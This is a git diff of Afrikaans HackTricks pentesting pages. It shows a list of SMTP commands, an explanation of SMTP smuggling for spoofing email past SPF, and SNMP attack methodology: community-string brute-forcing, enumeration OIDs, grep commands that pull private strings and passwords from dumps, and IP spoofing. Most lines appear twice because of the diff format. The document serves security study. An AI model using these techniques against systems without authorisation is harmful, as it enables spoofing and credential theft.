* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat klap, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering en pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat spat, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
**Opdragte van:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
|
||||
**HELO**\
|
||||
Dit is die eerste SMTP-opdrag: dit begin die gesprek deur die sender bediener te identifiseer en word gewoonlik gevolg deur sy domeinnaam.
|
||||
Dit is die eerste SMTP-opdrag: dit begin die gesprek deur die senderbediener te identifiseer en word gewoonlik gevolg deur sy domeinnaam.
|
||||
|
||||
**EHLO**\
|
||||
'n Alternatiewe opdrag om die gesprek te begin, wat aandui dat die bediener die Uitgebreide SMTP-protokol gebruik.
|
||||
|
||||
**MAIL FROM**\
|
||||
Met hierdie SMTP-opdrag begin die operasies: die sender stel die bron e-posadres in die "Van" veld en begin eintlik die e-posoorplasing.
|
||||
Met hierdie SMTP-opdrag begin die operasies: die sender stel die bron-e-posadres in die "Van" veld en begin eintlik die e-posoordrag.
|
||||
|
||||
**RCPT TO**\
|
||||
Dit identifiseer die ontvanger van die e-pos; as daar meer as een is, word die opdrag eenvoudig adres vir adres herhaal.
|
||||
|
@ -44,13 +44,13 @@ Met die DATA-opdrag begin die e-posinhoud om oorgedra te word; dit word gewoonli
|
|||
Daar word aan die bediener gevra om te verifieer of 'n spesifieke e-posadres of gebruikersnaam werklik bestaan.
|
||||
|
||||
**TURN**\
|
||||
Hierdie opdrag word gebruik om rolle tussen die klient en die bediener om te keer, sonder om 'n nuwe verbinding te maak.
|
||||
Hierdie opdrag word gebruik om die rolle tussen die klient en die bediener om te keer, sonder om 'n nuwe verbinding te maak.
|
||||
|
||||
**AUTH**\
|
||||
Met die AUTH-opdrag, verifieer die klient homself aan die bediener deur sy gebruikersnaam en wagwoord te gee. Dit is nog 'n laag van sekuriteit om 'n behoorlike oordrag te waarborg.
|
||||
|
||||
**RSET**\
|
||||
Dit kommunikeer aan die bediener dat die aanhoudende e-posoorplasing beeïndig gaan word, alhoewel die SMTP-gesprek nie sal gesluit word (soos in die geval van QUIT).
|
||||
Dit kommunikeer aan die bediener dat die aanhoudende e-posoordrag beëindig gaan word, alhoewel die SMTP-gesprek nie gesluit sal word (soos in die geval van QUIT).
|
||||
|
||||
**EXPN**\
|
||||
Hierdie SMTP-opdrag vra vir 'n bevestiging oor die identifikasie van 'n poslys.
|
||||
|
@ -61,22 +61,22 @@ Dit is 'n versoek van 'n klient vir inligting wat nuttig kan wees vir 'n suksesv
|
|||
**QUIT**\
|
||||
Dit beëindig die SMTP-gesprek.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat klap, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering en pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat spat, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,7 +8,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
@ -16,22 +16,22 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
## Basiese Inligting
|
||||
|
||||
Hierdie tipe kwesbaarheid is [**oorspronklik ontdek in hierdie pos**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) waar dit verduidelik word dat dit moontlik is om **diskrepansies in hoe die SMTP-protokol geïnterpreteer word** te misbruik wanneer 'n e-pos afgehandel word, wat 'n aanvaller in staat stel om meer e-posse in die liggaam van die regte een te smokkel, wat dit moontlik maak om ander gebruikers van die geaffekteerde domein te impersoneer (soos admin@outlook.com) deur verdedigings soos SPF te omseil.
|
||||
Hierdie tipe kwesbaarheid is [**oorspronklik ontdek in hierdie pos**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) waar dit verduidelik word dat dit moontlik is om **diskrepansies in hoe die SMTP-protokol geïnterpreteer word** te misbruik wanneer 'n e-pos afgehandel word, wat 'n aanvaller in staat stel om meer e-posse in die liggaam van die regte een in te smokkel, wat dit moontlik maak om ander gebruikers van die geaffekteerde domein te impersoneer (soos admin@outlook.com) deur verdedigings soos SPF te omseil.
|
||||
|
||||
### Waarom
|
||||
|
||||
Dit is omdat in die SMTP-protokol die **data van die boodskap** wat in die e-pos gestuur moet word, beheer word deur 'n gebruiker (aanvaller) wat spesiaal ontwerpte data kan stuur wat verskille in parserse misbruik wat ekstra e-posse in die ontvanger sal smokkel. Kyk na hierdie geïllustreerde voorbeeld van die oorspronklike pos:
|
||||
Dit is omdat in die SMTP-protokol die **data van die boodskap** wat in die e-pos gestuur moet word, beheer word deur 'n gebruiker (aanvaller) wat spesiaal ontwerpte data kan stuur wat verskille in analiseerders misbruik wat ekstra e-posse in die ontvanger sal smokkel. Neem 'n kyk na hierdie geïllustreerde voorbeeld uit die oorspronklike pos:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
|
||||
### Hoe
|
||||
|
||||
Om hierdie kwesbaarheid te misbruik, moet 'n aanvaller data stuur wat die **Uitgaande SMPT-bediener dink dat dit net 1 e-pos is, maar die Inkomende SMTP-bediener dink dat daar verskeie e-posse is**.
|
||||
Om hierdie kwesbaarheid uit te buit, moet 'n aanvaller data stuur wat die **Uitgaande SMPT-bediener dink dat dit net 1 e-pos is, maar die Inkomende SMTP-bediener dink dat daar verskeie e-posse is**.
|
||||
|
||||
Die navorsers het ontdek dat verskillende **Inkomende bedieners verskillende karakters as die einde van die data** van die e-posboodskap beskou wat Uitgaande bedieners nie doen nie.\
|
||||
Byvoorbeeld, 'n gewone einde van die data is `\r\n.\r\n`. Maar as die Inkomende SMTP-bediener ook `\n.\n` ondersteun, kan 'n aanvaller net daardie data by sy e-pos voeg en begin om die SMTP-opdragte** van nuwe een te smokkel soos in die vorige beeld.
|
||||
|
||||
Natuurlik kan dit net werk as die **Uitgaande SMTP-bediener hierdie data nie ook as die einde van die boodskapdata behandel nie**, want in daardie geval sal dit 2 e-posse sien in plaas van net 1, dus uiteindelik is dit die desinkronisasie wat in hierdie kwesbaarheid misbruik word.
|
||||
Natuurlik kan dit net werk as die **Uitgaande SMTP-bediener hierdie data nie ook as die einde van die boodskapdata behandel nie**, want in daardie geval sal dit 2 e-posse sien in plaas van net 1, dus is dit uiteindelik die desinkronisasie wat in hierdie kwesbaarheid misbruik word.
|
||||
|
||||
Potensiële desinkronisasiedata:
|
||||
|
||||
|
@ -52,7 +52,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
@ -14,26 +14,26 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in **hakloopbaan** en die onhakbare wil hak - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in 'n **hakloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
**SNMP - Eenvoudige Netwerkbestuursprotokol** is 'n protokol wat gebruik word om verskillende toestelle in die netwerk te monitor (soos routers, skakelaars, drukkers, IoTs...).
|
||||
**SNMP - Simple Network Management Protocol** is 'n protokol wat gebruik word om verskillende toestelle in die netwerk te monitor (soos routers, skakelaars, drukkers, IoTs...).
|
||||
```
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
||||
```
|
||||
{% hint style="info" %}
|
||||
SNMP gebruik ook die poort **162/UDP** vir **traps**. Hierdie is data **pakette wat van die SNMP-bediener na die klient gestuur word sonder om eksplisiet aangevra te word**.
|
||||
SNMP gebruik ook die poort **162/UDP** vir **traps**. Hierdie is data **pakette wat vanaf die SNMP-bediener na die klient gestuur word sonder om eksplisiet aangevra te word**.
|
||||
{% endhint %}
|
||||
|
||||
### MIB
|
||||
|
||||
Om te verseker dat SNMP-toegang oor verskillende vervaardigers en met verskillende klient-bediener kombinasies werk, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestelinligting**. 'n MIB is 'n **teks** lêer waarin alle navraagbare **SNMP-voorwerpe** van 'n toestel in 'n **gestandaardiseerde** boomhierargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, bo en behalwe die nodige **unieke adres** en 'n **naam**, ook inligting oor die tipe, toegangsregte, en 'n beskrywing van die betrokke voorwerp verskaf. MIB-lêers is in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII-teksformaat geskryf. Die **MIBs bevat nie data nie**, maar verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat terugvoerwaardes vir die spesifieke OID lewer, of watter datatipe gebruik word.
|
||||
Om te verseker dat SNMP-toegang oor verskillende vervaardigers en met verskillende klient-bediener kombinasies werk, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestelinligting**. 'n MIB is 'n **teks** lêer waarin alle navraagbare **SNMP-voorwerpe** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, bo en behalwe die nodige **unieke adres** en 'n **naam**, ook inligting oor die tipe, toegangsregte, en 'n beskrywing van die betrokke voorwerp verskaf. MIB-lêers is in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII-teksformaat geskryf. Die **MIBs bevat nie data nie**, maar verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat terugvoerwaardes vir die spesifieke OID lewer, of watter datatipe gebruik word.
|
||||
|
||||
### OIDs
|
||||
|
||||
|
@ -55,7 +55,7 @@ Hier is 'n uiteensetting van hierdie adres.
|
|||
* 3 - dit word ORG genoem en dit word gebruik om die organisasie wat die toestel gebou het, te spesifiseer.
|
||||
* 6 - dit is die dod of die Departement van Verdediging wat die organisasie is wat die Internet eerste gevestig het.
|
||||
* 1 - dit is die waarde van die internet om aan te dui dat alle kommunikasie deur die Internet sal plaasvind.
|
||||
* 4 - hierdie waarde bepaal dat hierdie toestel deur 'n private organisasie gemaak is en nie 'n regeringsorganisasie nie.
|
||||
* 4 - hierdie waarde bepaal dat hierdie toestel deur 'n private organisasie gemaak is en nie deur 'n regeringsinstansie nie.
|
||||
* 1 - hierdie waarde dui aan dat die toestel deur 'n onderneming of 'n besigheidsentiteit gemaak is.
|
||||
|
||||
Hierdie eerste ses waardes is geneig om dieselfde te wees vir alle toestelle en hulle gee jou die basiese inligting oor hulle. Hierdie reeks getalle sal dieselfde wees vir alle OIDs, behalwe wanneer die toestel deur die regering gemaak is.
|
||||
|
@ -80,19 +80,19 @@ Die res van die waardes gee spesifieke inligting oor die toestel.
|
|||
|
||||
Daar is 2 belangrike weergawes van SNMP:
|
||||
|
||||
* **SNMPv1**: Hoof een, dit is steeds die mees algemene, die **verifikasie is gebaseer op 'n string** (gemeenskapsnaam) wat in **platte teks** reis (alle inligting reis in platte teks). **Weergawe 2 en 2c** stuur die **verkeer in platte teks** ook en gebruik 'n **gemeenskapsnaam as verifikasie**.
|
||||
* **SNMPv3**: Gebruik 'n beter **verifikasie** vorm en die inligting reis **geënkripteer** met (**woordeboekaanval** kan uitgevoer word, maar sou baie moeiliker wees om die korrekte geloofsbriewe as in SNMPv1 en v2 te vind).
|
||||
* **SNMPv1**: Hoofeen, dit is steeds die mees algemene, die **verifikasie is gebaseer op 'n string** (gemeenskapsnaam) wat in **platte teks** reis (alle inligting reis in platte teks). **Weergawe 2 en 2c** stuur die **verkeer in platte teks** ook en gebruik 'n **gemeenskapsnaam as verifikasie**.
|
||||
* **SNMPv3**: Gebruik 'n beter **verifikasie** vorm en die inligting reis **geënkripteer** met (**woordeboekaanval** kan uitgevoer word, maar dit sal baie moeiliker wees om die korrekte geloofsbriewe as in SNMPv1 en v2 te vind).
|
||||
|
||||
### Gemeenskapsname
|
||||
|
||||
Soos voorheen genoem, **om toegang te verkry tot die inligting wat in die MIB gestoor is, moet jy die gemeenskapsnaam op weergawes 1 en 2/2c ken en die geloofsbriewe op weergawe 3**. Daar is **2 tipes gemeenskapsname**:
|
||||
|
||||
* **`publiek`** hoofsaaklik **slegs leesfunksies**
|
||||
* **`privaat`** **Lees/Skryf** in die algemeen
|
||||
* **`public`** hoofsaaklik **alleen leesfunksies**
|
||||
* **`private`** **Lees/Skryf** in die algemeen
|
||||
|
||||
Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsnaam wat gebruik word**, so **selfs** as jy vind dat "**publiek**" gebruik word, kan jy dalk in staat wees om **waardes te skryf**. Daar **mag** ook voorwerpe wees wat **altyd "Net Leesbaar" is**. As jy probeer om 'n voorwerp te **skryf**, word 'n **`noSuchName` of `readOnly` fout** ontvang\*\*.\*\*
|
||||
Let daarop dat **die skryfbaarheid van 'n OID afhang van die gemeenskapsnaam wat gebruik word**, so **selfs** as jy vind dat "**public**" gebruik word, kan jy dalk in staat wees om **waardes te skryf**. Daar **mag** ook voorwerpe wees wat **altyd "Net Leesbaar" is**. As jy probeer om 'n voorwerp te **skryf**, word 'n **`noSuchName` of `readOnly` fout** ontvang\*\*.\*\*
|
||||
|
||||
In weergawes 1 en 2/2c as jy 'n **slegte** gemeenskapsnaam gebruik, sal die bediener nie **reageer** nie. Dus, as dit reageer, is 'n geldige gemeenskapsnaam gebruik.
|
||||
In weergawes 1 en 2/2c as jy 'n **slegte** gemeenskapsnaam gebruik, sal die bediener nie **reageer** nie. Dus, as dit reageer, is 'n **geldige gemeenskapsnaam gebruik**.
|
||||
|
||||
## Poorte
|
||||
|
||||
|
@ -104,7 +104,7 @@ In weergawes 1 en 2/2c as jy 'n **slegte** gemeenskapsnaam gebruik, sal die bedi
|
|||
|
||||
## Brute-Force Gemeenskapsnaam (v1 en v2c)
|
||||
|
||||
Om die gemeenskapsnaam te **raai**, kan jy 'n woordeboekaanval uitvoer. Kyk [hier na verskillende maniere om 'n brute-force aanval teen SNMP uit te voer](../../generic-methodologies-and-resources/brute-force.md#snmp). 'n Gereeld gebruikte gemeenskapsnaam is `publiek`.
|
||||
Om die gemeenskapsnaam te **raai**, kan jy 'n woordeboekaanval uitvoer. Kyk [hier na verskillende maniere om 'n brute-force aanval teen SNMP uit te voer](../../generic-methodologies-and-resources/brute-force.md#snmp). 'n Gereeld gebruikte gemeenskapsnaam is `public`.
|
||||
|
||||
## Enumerating SNMP
|
||||
|
||||
|
@ -147,8 +147,8 @@ In die domein van netwerkbestuur is sekere konfigurasies en parameters sleutel t
|
|||
|
||||
Twee hoofinstellings maak toegang tot die **volledige OID-boom** moontlik, wat 'n kritieke komponent in netwerkbestuur is:
|
||||
|
||||
1. **`rwuser noauth`** is ingestel om volle toegang tot die OID-boom sonder die nodigheid van verifikasie toe te laat. Hierdie instelling is maklik en maak vir onbeperkte toegang moontlik.
|
||||
2. Vir meer spesifieke beheer kan toegang verleen word deur gebruik te maak van:
|
||||
1. **`rwuser noauth`** is ingestel om volle toegang tot die OID-boom sonder die nodigheid van outentifikasie toe te laat. Hierdie instelling is maklik en maak vir onbeperkte toegang moontlik.
|
||||
2. Vir meer spesifieke beheer kan toegang verleen word deur:
|
||||
* **`rwcommunity`** vir **IPv4**-adresse, en
|
||||
* **`rwcommunity6`** vir **IPv6**-adresse.
|
||||
|
||||
|
@ -161,9 +161,9 @@ Beide bevele vereis 'n **gemeenskapsnaam** en die betrokke IP-adres, wat volle t
|
|||
* **Sisteemprosesse**: Toeganklik via `1.3.6.1.2.1.25.1.6.0`, hierdie parameter maak dit moontlik om aktiewe prosesse binne die sisteem te monitor.
|
||||
* **Lopende Programme**: Die waarde `1.3.6.1.2.1.25.4.2.1.2` is aangewys vir die opsporing van tans lopende programme.
|
||||
* **Prosessepad**: Om te bepaal waar 'n proses van hardloop, word die MIB-waarde `1.3.6.1.2.1.25.4.2.1.4` gebruik.
|
||||
* **Stoor Eenheede**: Die monitering van stoor eenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Stoor-eenhede**: Die monitering van stoor-eenhede word gefasiliteer deur `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Sagteware Naam**: Om die sagteware wat op 'n sisteem geïnstalleer is te identifiseer, word `1.3.6.1.2.1.25.6.3.1.2` gebruik.
|
||||
* **Gebruikersrekeninge**: Die waarde `1.3.6.1.4.1.77.1.2.25` maak die opsporing van gebruikersrekeninge moontlik.
|
||||
* **Gebruikersrekeninge**: Die waarde `1.3.6.1.4.1.77.1.2.25` maak dit moontlik om gebruikersrekeninge te monitor.
|
||||
* **TCP Plaaslike Poorte**: Laastens, `1.3.6.1.2.1.6.13.1.3` is aangewys vir die monitering van TCP plaaslike poorte, wat insig bied in aktiewe netwerkverbindings.
|
||||
|
||||
### Cisco
|
||||
|
@ -204,13 +204,13 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
|||
```
|
||||
### **Identifiseer Privaat String**
|
||||
|
||||
'n Belangrike stap behels die identifisering van die **privaat gemeenskapsstring** wat deur organisasies gebruik word, veral op Cisco IOS-roeteryers. Hierdie string maak die uittrek van **lopende konfigurasies** van roeteryers moontlik. Die identifisering steun dikwels op die analise van SNMP-valdata vir die woord "trap" met 'n **grep-opdrag**:
|
||||
'n Kritieke stap behels die identifisering van die **privaat gemeenskap string** wat deur organisasies gebruik word, veral op Cisco IOS-roeteryers. Hierdie string maak die uittreksel van **lopende konfigurasies** van roeteryers moontlik. Die identifisering steun dikwels op die analise van SNMP Trap data vir die woord "trap" met 'n **grep opdrag**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
### **Gebruikersname/ Wagwoorde**
|
||||
|
||||
Logs wat binne MIB-tabelle gestoor word, word ondersoek vir **mislukte aanmeldingspogings**, wat dalk per ongeluk wagwoorde ingesluit wat as gebruikersname ingevoer is. Sleutelwoorde soos _misluk_, _misluk_, of _aanmelding_ word gesoek om waardevolle data te vind:
|
||||
Logboeke wat binne MIB-tabelle gestoor word, word ondersoek vir **mislukte aanmeldingspogings**, wat dalk per ongeluk wagwoorde wat as gebruikersname ingevoer is, kan insluit. Sleutelwoorde soos _misluk_, _misluk_, of _aanmelding_ word gesoek om waardevolle data te vind:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
|
@ -226,7 +226,7 @@ Jy kan _**NetScanTools**_ gebruik om **waardes te wysig**. Jy sal die **privaat
|
|||
|
||||
## Spoofing
|
||||
|
||||
As daar 'n ACL is wat slegs sekere IP-adresse toelaat om die SMNP-diens te ondervra, kan jy een van hierdie adresse binne die UDP-pakket vervals en die verkeer besnuffel.
|
||||
As daar 'n ACL is wat slegs sekere IP-adresse toelaat om die SMNP-diens te ondervra, kan jy een van hierdie adresse binne die UDP-pakket fop en die verkeer besnuffel.
|
||||
|
||||
## Ondersoek SNMP-konfigurasie lêers
|
||||
|
||||
|
@ -234,9 +234,9 @@ As daar 'n ACL is wat slegs sekere IP-adresse toelaat om die SMNP-diens te onder
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
As jy belangstel in **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -284,7 +284,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
@ -4,25 +4,25 @@
|
|||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
